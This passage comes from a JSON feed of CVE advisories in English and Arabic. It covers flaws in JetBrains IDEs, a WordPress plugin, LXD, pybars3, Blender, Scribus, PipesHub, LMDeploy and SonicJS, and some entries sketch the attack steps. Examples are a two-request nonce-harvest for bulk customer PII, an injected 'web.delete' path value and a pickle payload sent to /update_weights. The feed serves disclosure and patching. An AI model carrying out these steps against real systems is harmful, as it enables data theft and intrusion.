و GoLand للإصدارات السابقة لـ 2026.3، 2026.2"},"summary":{"en":"In JetBrains IntelliJ IDEA, PyCharm, PhpStorm, RubyMine and WebStorm before 2026.3, 2026.2.4, 2026.1.5.1, and 2025.3.6.2; GoLand before 2026.3, 2026.2.4, 2026.1.5.1, and 2025.3.5.2; Rider before 2026.3, 2026.2.4, 2026.1.5.3, and 2025.3.5.3; CLion before 2026.3, 2026.2.4.1, 2026.1.5.2, and 2025.3.6.3; DataGrip before 2026.3, 2026.2.6.1, 2026.1.4.1, and 2025.3.6.1; RustRover before 2026.3, 2026.2.5, 2026.1.4.1, and 2025.3.7.1; DataSpell before 2026.1.3.1 and 2025.3.3.1, the embedded browser trusted revoked intermediate certificates","ar":"في منتجات JetBrains IntelliJ IDEA و PyCharm و PhpStorm و RubyMine و WebStorm للإصدارات السابقة لـ 2026.3، 2026.2.4، 2026.1.5.1، و 2025.3.6.2؛ و GoLand للإصدارات السابقة لـ 2026.3، 2026.2.4، 2026.1.5.1، و 2025.3.5.2؛ و Rider للإصدارات السابقة لـ 2026.3، 2026.2.4، 2026.1.5.3، و 2025.3.5.3؛ و CLion للإصدارات السابقة لـ 2026.3، 2026.2.4.1، 2026.1.5.2، و 2025.3.6.3؛ و DataGrip للإصدارات السابقة لـ 2026.3، 2026.2.6.1، 2026.1.4.1، و 2025.3.6.1؛ و RustRover للإصدارات السابقة لـ 2026.3، 2026.2.5، 2026.1.4.1، و 2025.3.7.1؛ و DataSpell للإصدارات السابقة لـ 2026.1.3.1 و 2025.3.3.1، كان المتصفح المدمج يثق في الشهادات الوسيطة المُلغاة"},"refs":[["https://blog.jetbrains.com/security/2026/10/compromised-emudhra-certificates-ides/","ref"],["https://bugzilla.mozilla.org/show_bug.cgi?id=2083449","ref"],["https://emudhra.com/en/post/certificate-security-incident","ref"],["https://www.jetbrains.com/privacy-security/issues-fixed/","ref"]],"epss":0.0027,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jetbrains-intellij-idea"},{"id":"CVE-2026-118697","cvss":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T18:17:24Z","product":"JetBrains Toolbox App","affected":[["3.9.0 – <3.9.1","3.9.1"],["0 – <3.8.2","3.8.2"],["0 – <2026.2.4","2026.2.4"],["3.9 – <3.9.1","3.9.1"],["0 – <2026.2.4.1","2026.2.4.1"],["0 – <2026.2.6.1","2026.2.6.1"],["0 – <2026.2.5","2026.2.5"]],"title":{"en":"In JetBrains Toolbox App before 3.9.1 and 3.8.2; IntelliJ IDEA before 2026.3 and 2026.2.4, the jetbrainsd daemon trusted compromised intermediate cert","ar":"في JetBrains Toolbox App للإصدارات السابقة لـ 3.9.1 و 3.8.2؛ و IntelliJ IDEA للإصدارات السابقة لـ 2026.3 و 2026.2.4، كانت خدمة jetbrainsd تثق في شهادات وسيطة مخترقة"},"summary":{"en":"In JetBrains Toolbox App before 3.9.1 and 3.8.2; IntelliJ IDEA before 2026.3 and 2026.2.4, the jetbrainsd daemon trusted compromised intermediate certificates","ar":"في JetBrains Toolbox App للإصدارات السابقة لـ 3.9.1 و 3.8.2؛ و IntelliJ IDEA للإصدارات السابقة لـ 2026.3 و 2026.2.4، كانت خدمة jetbrainsd تثق في شهادات وسيطة مخترقة"},"refs":[["https://blog.jetbrains.com/security/2026/10/compromised-emudhra-certificates-ides/","ref"],["https://bugzilla.mozilla.org/show_bug.cgi?id=2083449","ref"],["https://emudhra.com/en/post/certificate-security-incident","ref"],["https://www.jetbrains.com/privacy-security/issues-fixed/","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"jetbrains-toolbox-app"},{"id":"CVE-2026-107630","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T18:17:19Z","product":"saadiqbal Email Templates Customizer and Designer for WordPress and WooCommerce","affected":[["0 – 1.5.14",null]],"title":{"en":"Email Templates Customizer and Designer for WordPress and WooCommerce <= 1.5.14 - Missing Authorization to Unauthenticated Order PII Disclosure via 'preview_order' Parameter","ar":"Email Templates Customizer and Designer for WordPress and WooCommerce <= 1.5.14 - غياب التفويض يؤدي إلى الكشف عن معلومات الهوية الشخصية المحددة للطلبات دون مصادقة عبر المعلمة 'preview_order'"},"summary":{"en":"The Email Templates Customizer and Designer for WordPress and WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.5.14 This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to enumerate WooCommerce order IDs via the preview_order parameter and exfiltrate every customer's billing name, address, phone number, and email address. The exploit requires two unauthenticated requests: the first harvests a reusable nonce from the 302 Location header returned by the unguarded admin_init handler, and the second supplies that nonce alongside an arbitrary order ID to the preview endpoint, making full customer PII disclosure trivially achievable without any account or credentials.","ar":"إضافة Email Templates Customizer and Designer for WordPress and WooCommerce لنظام WordPress عرضة لتخطي التفويض في جميع الإصدارات حتى 1.5.14 وشاملة له. يرجع ذلك إلى عدم تحقق الإضافة بشكل صحيح من أن المستخدم مصرح له بتنفيذ إجراء معين. هذا يجعل من الممكن للمهاجمين دون مصادقة تعداد معرفات طلبات WooCommerce عبر المعلمة preview_order واستخراج اسم الفواتير والعنوان ورقم الهاتف وعنوان البريد الإلكتروني لكل عميل. يستلزم الاستغلال طلبين دون مصادقة: الأول يستخرج nonce قابل لإعادة الاستخدام من ترويسة Location 302 التي يعيدها معالج admin_init غير المحمي، والثاني يقدم هذا الـ nonce جنبًا إلى جنب مع معرف طلب اختياري إلى نقطة نهاية المعاينة، مما يجعل الكشف الكامل عن معلومات الهوية الشخصية للعملاء أمرًا سهل التحقيق دون الحاجة إلى أي حساب أو بيانات اعتماد."},"refs":[["https://plugins.trac.wordpress.org/browser/email-templates/tags/1.5.14/admin/class-mailtpl-admin.php#L54","ref"],["https://plugins.trac.wordpress.org/browser/email-templates/tags/1.5.14/includes/woocommerce-customizer/class-mailtpl-woomail-preview.php#L236","ref"],["https://plugins.trac.wordpress.org/browser/email-templates/tags/1.5.14/includes/woocommerce-customizer/class-mailtpl-woomail-preview.php#L293","ref"],["https://plugins.trac.wordpress.org/browser/email-templates/tags/1.5.14/includes/woocommerce-customizer/class-mailtpl-woomail-preview.php#L873","ref"],["https://plugins.trac.wordpress.org/changeset/3770280/email-templates/trunk/includes/woocommerce-customizer/class-mailtpl-woomail-preview.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/52eaab58-1e94-4f71-9896-dc2154b00e8e?source=cve","ref"]],"epss":0.0051,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"saadiqbal-email-templates-customizer-and-designer-for-wordpr"},{"id":"CVE-2026-119116","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-415","tags":["RCE","Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T17:17:16Z","product":"AWS kmstool-enclave","affected":[["0 – <0.4.6","0.4.6"]],"title":{"en":"Use-after-free in the SetClient command handler of kmstool-enclave in AWS aws-nitro-enclaves-sdk-c","ar":"استخدام بعد التحرير في معالج أمر SetClient لـ kmstool-enclave في AWS aws-nitro-enclaves-sdk-c"},"summary":{"en":"A use-after-free and double-free issue in the SetClient command handler of the kmstool-enclave sample application of AWS aws-nitro-enclaves-sdk-c before 0.4.6 may allow an application that runs on the parent EC2 instance to corrupt heap memory inside a Nitro Enclave which may lead to arbitrary code execution within the enclave. To remediate this issue, users should rebuild any enclave image that includes kmstool-enclave, or code derived from it, against aws-nitro-enclaves-sdk-c 0.4.6.","ar":"قد تسمح مشكلة الاستخدام بعد التحرير (use-after-free) والتحرير المزدوج (double-free) في معالج أمر SetClient للتطبيق النموذجي kmstool-enclave الخاص بـ AWS aws-nitro-enclaves-sdk-c قبل الإصدار 0.4.6 لتطبيق يعمل على مثيل EC2 الأب بإتلاف ذاكرة الكومة داخل Nitro Enclave، مما قد يؤدي إلى تنفيذ شيفرة عشوائية داخل الجيب. لمعالجة هذه المشكلة، يجب على المستخدمين إعادة بناء أي صورة جيب تتضمن kmstool-enclave، أو شيفرة مشتقة منه، باستخدام aws-nitro-enclaves-sdk-c 0.4.6."},"refs":[["https://github.com/aws/aws-nitro-enclaves-sdk-c/releases/tag/v0.4.6","patch"],["https://aws.amazon.com/security/security-bulletins/2026-157-aws/","advisory"],["https://github.com/aws/aws-nitro-enclaves-sdk-c/security/advisories/GHSA-cfhm-qfw4-j7qq","advisory"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"aws-kmstool-enclave"},{"id":"CVE-2026-112816","cvss":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-295","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T17:17:14Z","product":"Canonical LXD","affected":[["4.0.14 – <4.0.15","4.0.15"],["5.0.10 – <5.0.11","5.0.11"],["5.21.8 – <5.21.9","5.21.9"],["6.9.0 – <6.10.1","6.10.1"]],"title":{"en":"Improper certificate validation in the HTTPS listener in LXD","ar":"التحقق غير السليم من الشهادات في مستمع HTTPS في LXD"},"summary":{"en":"Improper certificate validation in the HTTPS listener in Canonical LXD 4.0.14, 5.0.10, 5.21.8, 6.9 before 4.0.15, 5.0.11, 5.21.9, 6.10.1 allows an unauthenticated attacker to authenticate as any trusted client and gain full access to the cluster and managed virtual machines via a crafted certificate chain.","ar":"يؤدي التحقق غير السليم من الشهادات في مستمع HTTPS في Canonical LXD بالإصدارات 4.0.14، 5.0.10، 5.21.8، 6.9 قبل 4.0.15، 5.0.11، 5.21.9، 6.10.1 إلى السماح لمهاجم دون مصادقة بالمصادقة كأي عميل موثوق به والحصول على وصول كامل إلى العنقود والأجهزة الافتراضية المُدارة عبر سلسلة شهادات مُصممة خصيصاً."},"refs":[["https://discourse.ubuntu.com/t/security-advisory-critical-vulnerability-found-in-canonical-lxd-and-microcloud/90557","advisory"],["https://github.com/canonical/lxd/security/advisories/GHSA-99jp-jwmc-65p4","advisory"],["https://discourse.ubuntu.com/t/lxd-4-0-15-lts-has-been-released/90571","ref"],["https://discourse.ubuntu.com/t/lxd-5-0-11-lts-has-been-released/90570/1","ref"],["https://discourse.ubuntu.com/t/lxd-5-21-9-lts-has-been-released/90565/1","ref"],["https://discourse.ubuntu.com/t/lxd-6-10-1-lts-has-been-released/90024","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"canonical-lxd"},{"id":"CVE-2026-119716","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T16:17:55Z","product":"wbond pybars3","affected":[["0 – 0.9.7",null],["0 – 0.9.13",null]],"title":{"en":"pybars3 through 0.9.7 Code Injection via Bracketed Path Segments","ar":"pybars3 حتى 0.9.7: حقن الشيفرة عبر أجزاء المسار المحاطة بأقواس"},"summary":{"en":"pybars3 through 0.9.7 contains a code injection vulnerability in pybars/_compiler.py that allows template authors to execute Python code via unescaped bracketed path segments. Attackers can supply Handlebars templates with crafted segments in helper or block arguments to break out of string literals and execute Python in the application process.","ar":"يحتوي pybars3 حتى الإصدار 0.9.7 على ثغرة حقن شيفرة في pybars/_compiler.py تسمح لمؤلفي القوالب بتنفيذ شيفرة Python عبر أجزاء مسار محاطة بأقواس وغير مهربة. يمكن للمهاجمين تزويد قوالب Handlebars بأجزاء مصنوعة في وسائط المساعد أو الكتل للخروج من السلاسل النصية وتنفيذ Python في عملية التطبيق."},"refs":[["https://github.com/vladko312/advisories/blob/702e98db9642ece70d9e2150076d8014ffec2db3/pybars3.md","advisory"],["https://www.vulncheck.com/advisories/pybars3-through-0.9.7-code-injection-via-bracketed-path-segments","advisory"],["https://github.com/wbond/pybars3","ref"],["https://github.com/wbond/pybars3/blob/0.9.7/pybars/_compiler.py#L159-L160","ref"],["https://github.com/wbond/pybars3/issues/88","ref"],["https://github.com/up9inc/pybars4","ref"],["https://github.com/up9inc/pybars4/blob/0.9.13/pybars/_compiler.py#L153-L154","ref"]],"epss":0.0046,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wbond-pybars3"},{"id":"CVE-2026-119718","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T16:17:55Z","product":"Blender Foundation Blender","affected":[["0 – <4.5.15","4.5.15"],["5.0.0 – <5.2.3","5.2.3"],[" – <4.5.15","4.5.15"]],"title":{"en":"Blender before 4.5.15 and 5.x before 5.2.3 Heap Buffer Overflow via Point Cache","ar":"Blender قبل 4.5.15 و 5.x قبل 5.2.3: فيضان المخزن المؤقت في الكومة عبر ذاكرة التخزين المؤقت للنقاط"},"summary":{"en":"Blender before 4.5.15 and 5.x before 5.2.3 contains a heap buffer overflow vulnerability caused by integer overflow in ptcache_data_alloc() when reading point cache files. Attackers can supply a crafted point cache file with a large totpoint value alongside a .blend file to crash Blender or execute code as the user.","ar":"يحتوي Blender قبل الإصدار 4.5.15 والإصدارات 5.x قبل 5.2.3 على ثغرة فيضان المخزن المؤقت في الكومة الناتجة عن طفح الأعداد الصحيحة في ptcache_data_alloc() عند قراءة ملفات ذاكرة التخزين المؤقت للنقاط. يمكن للمهاجمين تقديم ملف ذاكرة تخزين مؤقت للنقاط مصنوع بقيمة totpoint كبيرة جنبًا إلى جنب مع ملف .blend لإحداث انهيار لـ Blender أو تنفيذ شيفرة بصلاحيات المستخدم."},"refs":[["https://projects.blender.org/blender/blender/commit/4f8a3270213b1ee67b44fe122ace3debdec3de47","patch"],["https://projects.blender.org/blender/blender/commit/a0c62db3db61803f86e874bc05407890ce4a1e43","patch"],["https://projects.blender.org/blender/blender/pulls/164279","patch"],["https://www.vulncheck.com/advisories/blender-before-4.5.15-and-5-x-before-5.2.3-heap-buffer-overflow-via-point-cache","advisory"],["https://projects.blender.org/blender/blender","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"blender-foundation-blender"},{"id":"CVE-2026-119719","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T16:17:55Z","product":"Blender Foundation Blender","affected":[["0 – <4.5.15","4.5.15"],["5.0.0 – <5.2.3","5.2.3"],[" – <4.5.15","4.5.15"]],"title":{"en":"Blender before 4.5.15 and 5.x before 5.2.3 Heap Buffer Overflow via Thumbnail Extraction","ar":"ثغرة فيضان المخزن المؤقت للكومة في Blender قبل النسخة 4.5.15 و النسخة 5.x قبل النسخة 5.2.3 عبر استخراج الصور المصغرة"},"summary":{"en":"Blender before 4.5.15 and 5.x before 5.2.3 contains a heap buffer overflow vulnerability in the blend file thumbnail extractor caused by 32-bit integer overflow in thumb_data_vertical_flip(). Attackers can craft a .blend file with malicious TEST block dimensions that trigger an out-of-bounds write when blender-thumbnailer or the Windows shell extension previews it, causing crashes or code execution.","ar":"تحتوي الإصدارات السابقة لـ Blender 4.5.15 و النسخة 5.x قبل 5.2.3 على ثغرة فيضان المخزن المؤقت للكومة في أداة استخراج الصور المصغرة لملفات blend الناتجة عن فيضان عدد صحيح بـ 32 بت في دالة thumb_data_vertical_flip(). يمكن للمهاجمين صياغة ملف .blend بأبعاد كتلة TEST خبيثة تؤدي إلى تنفيذ كتابة خارج حدود الذاكرة عند معاينتها بواسطة blender-thumbnailer أو امتداد صدفة Windows، مما يتسبب في تعطل النظام أو تنفيذ شيفرة."},"refs":[["https://projects.blender.org/blender/blender/commit/71c10a0217d5e331b215b76773ad23b64974bd97","patch"],["https://projects.blender.org/blender/blender/commit/d723c68112d216099c9b24dab5c8440bab7add08","patch"],["https://projects.blender.org/blender/blender/pulls/164279","patch"],["https://www.vulncheck.com/advisories/blender-before-4.5.15-and-5-x-before-5.2.3-heap-buffer-overflow-via-thumbnail-extraction","advisory"],["https://projects.blender.org/blender/blender","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"blender-foundation-blender"},{"id":"CVE-2026-119722","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T16:17:55Z","product":"Blender Foundation Blender","affected":[["0 – <4.5.15","4.5.15"],["5.0.0 – <5.2.3","5.2.3"],[" – <4.5.15","4.5.15"]],"title":{"en":"Blender before 4.5.15 and 5.x before 5.2.3 Heap Out-of-Bounds Access via read_struct()","ar":"ثغرة الوصول خارج حدود الكومة في Blender قبل النسخة 4.5.15 و النسخة 5.x قبل النسخة 5.2.3 عبر دالة read_struct()"},"summary":{"en":"Blender before 4.5.15 and 5.x before 5.2.3 contains a heap out-of-bounds access vulnerability in read_struct() that skips size validation when a .blend file's SDNA struct layout compares equal. Attackers can supply a crafted .blend file with short blocks so field reads, writes, and pointer dereferences overrun heap memory, causing crashes or code execution.","ar":"تحتوي الإصدارات السابقة لـ Blender 4.5.15 و النسخة 5.x قبل 5.2.3 على ثغرة وصول خارج حدود الكومة في دالة read_struct() التي تتخطى التحقق من الحجم عندما يتطابق تخطيط بنية SDNA لملف .blend. يمكن للمهاجمين توفير ملف .blend مصمم بكتل قصيرة بحيث تتجاوز عمليات قراءة الحقول، وكتابتها، وإلغاء إسناد المؤشرات ذاكرة الكومة، مما يتسبب في تعطل النظام أو تنفيذ شيفرة."},"refs":[["https://projects.blender.org/blender/blender/commit/7de4986e74ed47f67e78eb4b76609bb6d1ae8a0e","patch"],["https://projects.blender.org/blender/blender/commit/c5d6faf04bf3f17efb6c404896ef0e7427784da5","patch"],["https://projects.blender.org/blender/blender/pulls/164279","patch"],["https://www.vulncheck.com/advisories/blender-before-4.5.15-and-5-x-before-5.2.3-heap-out-of-bounds-access-via-read-struct","advisory"],["https://projects.blender.org/blender/blender","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"blender-foundation-blender"},{"id":"CVE-2026-119710","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T16:17:54Z","product":"pipeshub-ai pipeshub-ai","affected":[["0.3.0 – <0.10.0","0.10.0"]],"title":{"en":"PipesHub 0.3.0 before 0.10.0 Connector Deletion via Crawling-Manager Schedule Route","ar":"ثغرة حذف الموصلات في PipesHub 0.3.0 قبل النسخة 0.10.0 عبر مسار جدول مدير الزحف"},"summary":{"en":"PipesHub 0.3.0 before 0.10.0 contains an event type injection vulnerability that allows authenticated users with only the crawl:write scope to delete connectors by injecting into the :connector path segment. Attackers can send a :connector value like web.delete to the schedule route, bypassing connector:delete and lock checks to remove connector instances and purge record embeddings.","ar":"يحتوي PipesHub من النسخة 0.3.0 قبل 0.10.0 على ثغرة حقن نوع الحدث التي تسمح للمستخدمين المصدق عليهم الذين لديهم نطاق crawl:write فقط بحذف الموصلات عن طريق الحقن في مقطع المسار :connector. يمكن للمهاجمين إرسال قيمة :connector مثل web.delete إلى مسار الجدولة، متجاوزين فحوصات connector:delete و القفل لإزالة مثلات الموصلات وتطهير تضمينات السجلات."},"refs":[["https://github.com/pipeshub-ai/pipeshub-ai/commit/967232f4cb0fc2d0da5ebc30990417a349d6c56a","patch"],["https://github.com/pipeshub-ai/pipeshub-ai/security/advisories/GHSA-cwp5-6php-hrgx","advisory"],["https://www.vulncheck.com/advisories/pipeshub-0.3.0-before-0.10.0-connector-deletion-via-crawling-manager-schedule-route","advisory"],["https://github.com/pipeshub-ai/pipeshub-ai","ref"],["https://github.com/pipeshub-ai/pipeshub-ai/blob/v0.9.1/backend/nodejs/apps/src/modules/crawling_manager/utils/utils.ts","ref"],["https://github.com/pipeshub-ai/pipeshub-ai/releases/tag/v0.10.0","ref"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pipeshub-ai"},{"id":"CVE-2026-119706","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T16:17:51Z","product":"InternLM lmdeploy","affected":[["0.9.0 – 0.18.0",null]],"title":{"en":"LMDeploy 0.9.0 through 0.18.0 Unauthenticated RCE via /update_weights Pickle Deserialization","ar":"تنفيذ أوامر عن بُعد دون مصادقة في LMDeploy من النسخة 0.9.0 حتى 0.18.0 عبر إلغاء تسلسل كائنات Pickle في نقطة النهاية /update_weights"},"summary":{"en":"InternLM LMDeploy 0.9.0 through 0.18.0 contains an unauthenticated remote code execution vulnerability that allows remote attackers to run OS commands by sending pickled data to the /update_weights endpoint. Attackers can submit a base64-encoded crafted pickle in serialized_named_tensors, which ForkingPickler.loads deserializes without validation, executing commands as the api_server process.","ar":"يحتوي InternLM LMDeploy من النسخة 0.9.0 حتى 0.18.0 على ثغرة تنفيذ أوامر عن بُعد دون مصادقة تتيح للمهاجمين عن بُعد تشغيل أوامر نظام التشغيل عن طريق إرسال بيانات تم إلغاء تسلسلها إلى نقطة النهاية /update_weights. يمكن للمهاجمين إرسال بيانات pickle مصممة ومشفرة بـ base64 في serialized_named_tensors، والتي تقوم دالة ForkingPickler.loads بإلغاء تسلسلها دون تحقق، لتنفيذ الأوامر بصفتهم عملية api_server."},"refs":[["https://github.com/InternLM/lmdeploy/pull/4964","patch"],["https://www.vulncheck.com/advisories/lmdeploy-0.9.0-through-0.18.0-unauthenticated-rce-via-update-weights-pickle-deserialization","advisory"],["https://github.com/InternLM/lmdeploy","ref"],["https://github.com/InternLM/lmdeploy/blob/v0.18.0/lmdeploy/serve/openai/endpoints/management.py#L55-L60","ref"],["https://github.com/InternLM/lmdeploy/blob/v0.18.0/lmdeploy/turbomind/turbomind.py#L345","ref"],["https://github.com/InternLM/lmdeploy/issues/4698","ref"]],"epss":0.0103,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"internlm-lmdeploy"},{"id":"CVE-2026-119707","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T16:17:51Z","product":"SonicJs-Org sonicjs","affected":[["0 – 3.0.0",null]],"title":{"en":"SonicJS through 3.0.0 Missing Authorization in Content Write API","ar":"ثغرة غياب التفويض في واجهة برمجة تطبيقات كتابة المحتوى في SonicJS حتى الإصدار 3.0.0"},"summary":{"en":"SonicJS through 3.0.0 contains a missing authorization vulnerability in the /api/:collection and /api/content write routes that only check coarse role labels. Authenticated authors or editors can use a bearer JWT or API key to create, modify, publish, or soft-delete other users' documents, bypassing document ACLs and administrator deny overrides.","ar":"يحتوي SonicJS حتى الإصدار 3.0.0 على ثغرة غياب التفويض في مسارات كتابة المحتوى /api/:collection و /api/content التي تفحص فقط تسميات الأدوار الخشنة. يمكن للمؤلفين أو المحررين الذين يملكون حسابًا مصادقًا عليه استخدام رمز JWT لحامل أو مفتاح واجهة برمجة تطبيقات لإنشاء أو تعديل أو نشر أو حذف مستندات المستخدمين الآخرين برفق، متجاوزين قوائم التحكم في الوصول للمستندات وتجاوزات الحظر الخاصة بالمسؤول."},"refs":[["https://github.com/SonicJs-Org/sonicjs/pull/1147","patch"],["https://hackmd.io/@hieuPenguinnn/sonicjs-content-api-write-acl-bypass","advisory"],["https://www.vulncheck.com/advisories/sonicjs-through-3.0.0-missing-authorization-in-content-write-api","advisory"],["https://github.com/SonicJs-Org/sonicjs","ref"],["https://github.com/SonicJs-Org/sonicjs/blob/v3.0.0/packages/core/src/routes/api.ts#L1296","ref"],["https://github.com/SonicJs-Org/sonicjs/issues/1125","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sonicjs-org-sonicjs"},{"id":"CVE-2026-104064","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-190","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T16:17:36Z","product":"Scribus Scribus","affected":[["0 – <1.6.7","1.6.7"],["1.7.0 – <1.7.4","1.7.4"]],"title":{"en":"Scribus before 1.6.7 Heap Overflow via TIFF Tile Buffer Handling","ar":"ثغرة فيضان الكومة في Scribus قبل الإصدار 1.6.7 عبر معالجة مخزن مؤقت لقطع TIFF"},"summary":{"en":"Scribus before 1.6.7 contains an integer overflow vulnerability in the scimgdataloader_tiff TIFF loader that allows attackers to trigger a heap overflow via crafted tile dimensions. Attackers can supply a tiled TIFF with large tile width, height and sample values for a user to import, corrupting heap memory to crash Scribus or execute code.","ar":"يحتوي Scribus قبل الإصدار 1.6.7 على ثغرة فيضان عدد صحيح في محمل TIFF المرتبط بـ scimgdataloader_tiff والتي تسمح للمهاجمين بتشغيل فيضان الكومة عبر أبعاد قطع مصممة. يمكن للمهاجمين توفير ملف TIFF مقسّم إلى قطع ذات عرض وارتفاع وقيم عينات كبيرة ليقوم المستخدم استيرادها، مما يؤدي إلى إفساد ذاكرة الكومة لإعطاب برنامج Scribus أو تنفيذ شيفرة."},"refs":[["https://github.com/scribusproject/scribus/commit/b3e2be4e0f4063991c0b3af1c1447218ed33f0cc","patch"],["https://github.com/scribusproject/scribus/commit/57ebf70d503eef7124fcfba0e6222ea4d80675d2","patch"],["https://www.vulncheck.com/advisories/scribus-before-1.6.7-heap-overflow-via-tiff-tile-buffer-handling","advisory"],["https://github.com/scribusproject/scribus","ref"],["https://wiki.scribus.net/canvas/1.6.7_Release","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"scribus"},{"id":"CVE-2026-104065","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T16:17:36Z","product":"Scribus Scribus","affected":[["0 – <1.6.7","1.6.7"],["1.7.0 – <1.7.4","1.7.4"]],"title":{"en":"Scribus before 1.6.7 Heap Out-of-Bounds Write via Micrografx Draw Import","ar":"ثغرة كتابة خارج حدود الكومة في Scribus قبل الإصدار 1.6.7 عبر استيراد Micrografx Draw"},"summary":{"en":"Scribus before 1.6.7 contains an out-of-bounds write vulnerability in the importdrw Micrografx Draw plugin that uses an unvalidated y offset to select image scanlines. Attackers can craft a DRW file that, when imported by a user, writes decoded bitmap data outside the heap image buffer, causing crashes or code execution.","ar":"يحتوي Scribus قبل الإصدار 1.6.7 على ثغرة كتابة خارج الحدود في الملحق البرمجى importdrw لـ Micrografx Draw والذي يستخدم إزاحة رأسية غير مُتحقّق منها لتحديد خطوط مسح الصور. يمكن للمهاجمين صياغة ملف DRW يؤدي، عند استيراده بواسطة المستخدم، إلى كتابة بيانات الصورة النقطية المفكوكة خارج المخزن المؤقت لصورة الكومة، مما يتسبب في حدوث أعطال أو تنفيذ شيفرة."},"refs":[["https://github.com/scribusproject/scribus/commit/69f52b53c78542b0a5d377fa0b058fb2773799dc","patch"],["https://github.com/scribusproject/scribus/commit/f69b7056eb1a5758a5ebcf218c77b6d84fca97e2","patch"],["https://www.vulncheck.com/advisories/scribus-before-1.6.7-heap-out-of-bounds-write-via-micrografx-draw-import","advisory"],["https://github.com/scribusproject/scribus","ref"],["https://wiki.scribus.net/canvas/1.6.7_Release","ref"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"scribus"},{"id":"CVE-2026-104067","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T16:17:36Z","product":"Scribus Scribus","affected":[["0 – <1.6.7","1.6.7"],["1.7.0 – <1.7.4","1.7.4"]],"title":{"en":"Scribus before 1.6.7 Out-of-Bounds Memory Access via SVM Import Plugin","ar":"ثغرة وصول إلى الذاكرة خارج الحدود في Scribus قبل الإصدار 1.6.7 عبر 